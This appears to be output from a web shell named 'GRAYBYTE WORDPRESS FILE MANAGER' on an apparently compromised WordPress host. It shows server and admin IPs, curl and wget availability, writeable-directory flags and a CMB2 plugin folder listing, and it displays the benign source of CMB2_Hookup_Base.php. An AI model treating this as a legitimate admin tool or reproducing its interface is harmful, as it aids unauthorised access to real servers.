$74 GRAYBYTE WORDPRESS FILE MANAGER $53

SERVER : premium201.web-hosting.com #1 SMP Wed Mar 26 12:08:09 UTC 2025
SERVER IP : 172.67.217.254 | ADMIN IP 216.73.216.180
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : mail

/home/bravrvjk/ubukode.com/wp-content/plugins/cmb2/includes/

HOME
Current File : /home/bravrvjk/ubukode.com/wp-content/plugins/cmb2/includes//CMB2_Hookup_Base.php
<?php
/**
 * Base class for hooking CMB2 into WordPress.
 *
 * @since  2.2.0
 *
 * @category  WordPress_Plugin
 * @package   CMB2
 * @author    CMB2 team
 * @license   GPL-2.0+
 * @link      https://cmb2.io
 *
 * @property-read string $object_type
 * @property-read CMB2   $cmb
 */
abstract class CMB2_Hookup_Base {

	/**
	 * CMB2 object.
	 *
	 * @var   CMB2 object
	 * @since 2.0.2
	 */
	protected $cmb;

	/**
	 * The object type we are performing the hookup for
	 *
	 * @var   string
	 * @since 2.0.9
	 */
	protected $object_type = 'post';

	/**
	 * A functionalized constructor, used for the hookup action callbacks.
	 *
	 * @since  2.2.6
	 *
	 * @throws Exception Failed implementation.
	 *
	 * @param  CMB2 $cmb The CMB2 object to hookup.
	 */
	public static function maybe_init_and_hookup( CMB2 $cmb ) {
		throw new Exception( sprintf( esc_html__( '%1$s should be implemented by the extended class.', 'cmb2' ), __FUNCTION__ ) );
	}

	/**
	 * Constructor
	 *
	 * @since 2.0.0
	 * @param CMB2 $cmb The CMB2 object to hookup.
	 */
	public function __construct( CMB2 $cmb ) {
		$this->cmb = $cmb;
		$this->object_type = $this->cmb->mb_object_type();
	}

	abstract public function universal_hooks();

	/**
	 * Ensures WordPress hook only gets fired once per object.
	 *
	 * @since  2.0.0
	 * @param string   $action        The name of the filter to hook the $hook callback to.
	 * @param callback $hook          The callback to be run when the filter is applied.
	 * @param integer  $priority      Order the functions are executed.
	 * @param int      $accepted_args The number of arguments the function accepts.
	 */
	public function once( $action, $hook, $priority = 10, $accepted_args = 1 ) {
		static $hooks_completed = array();

		$args = func_get_args();

		// Get object hash.. This bypasses issues with serializing closures.
		if ( is_object( $hook ) ) {
			$args[1] = spl_object_hash( $args[1] );
		} elseif ( is_array( $hook ) && is_object( $hook[0] ) ) {
			$args[1][0] = spl_object_hash( $hook[0] );
		}

		$key = md5( serialize( $args ) );

		if ( ! isset( $hooks_completed[ $key ] ) ) {
			$hooks_completed[ $key ] = 1;
			add_filter( $action, $hook, $priority, $accepted_args );
		}
	}

	/**
	 * Magic getter for our object.
	 *
	 * @param string $field Property to return.
	 * @throws Exception Throws an exception if the field is invalid.
	 * @return mixed
	 */
	public function __get( $field ) {
		switch ( $field ) {
			case 'object_type':
			case 'cmb':
				return $this->{$field};
			default:
				throw new Exception( sprintf( esc_html__( 'Invalid %1$s property: %2$s', 'cmb2' ), __CLASS__, $field ) );
		}
	}
}


Current_dir [ WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
29 Oct 2025 3.34 PM
bravrvjk / bravrvjk
0755
rest-api
--
29 Oct 2025 3.34 PM
bravrvjk / bravrvjk
0755
shim
--
29 Oct 2025 3.34 PM
bravrvjk / bravrvjk
0755
types
--
29 Oct 2025 3.34 PM
bravrvjk / bravrvjk
0755
CMB2.php
53.058 KB
29 Oct 2025 3.34 PM
bravrvjk / bravrvjk
0644
CMB2_Ajax.php
9.04 KB
29 Oct 2025 3.34 PM
bravrvjk / bravrvjk
0644
CMB2_Base.php
15.09 KB
29 Oct 2025 3.34 PM
bravrvjk / bravrvjk
0644
CMB2_Boxes.php
3.16 KB
29 Oct 2025 3.34 PM
bravrvjk / bravrvjk
0644
CMB2_Field.php
45.763 KB
29 Oct 2025 3.34 PM
bravrvjk / bravrvjk
0644
CMB2_Field_Display.php
12.33 KB
29 Oct 2025 3.34 PM
bravrvjk / bravrvjk
0644
CMB2_Hookup.php
27.44 KB
29 Oct 2025 3.34 PM
bravrvjk / bravrvjk
0644
CMB2_Hookup_Base.php
2.572 KB
29 Oct 2025 3.34 PM
bravrvjk / bravrvjk
0644
CMB2_Hookup_Field.php
5.75 KB
29 Oct 2025 3.34 PM
bravrvjk / bravrvjk
0644
CMB2_JS.php
8.125 KB
29 Oct 2025 3.34 PM
bravrvjk / bravrvjk
0644
CMB2_Options.php
6.047 KB
29 Oct 2025 3.34 PM
bravrvjk / bravrvjk
0644
CMB2_Options_Hookup.php
11.009 KB
29 Oct 2025 3.34 PM
bravrvjk / bravrvjk
0644
CMB2_Sanitize.php
17.112 KB
29 Oct 2025 3.34 PM
bravrvjk / bravrvjk
0644
CMB2_Show_Filters.php
4.369 KB
29 Oct 2025 3.34 PM
bravrvjk / bravrvjk
0644
CMB2_Types.php
20.908 KB
29 Oct 2025 3.34 PM
bravrvjk / bravrvjk
0644
CMB2_Utils.php
21.68 KB
29 Oct 2025 3.34 PM
bravrvjk / bravrvjk
0644
helper-functions.php
12.742 KB
29 Oct 2025 3.34 PM
bravrvjk / bravrvjk
0644
index.php
0.026 KB
29 Oct 2025 3.34 PM
bravrvjk / bravrvjk
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025 CONTACT ME
Static GIF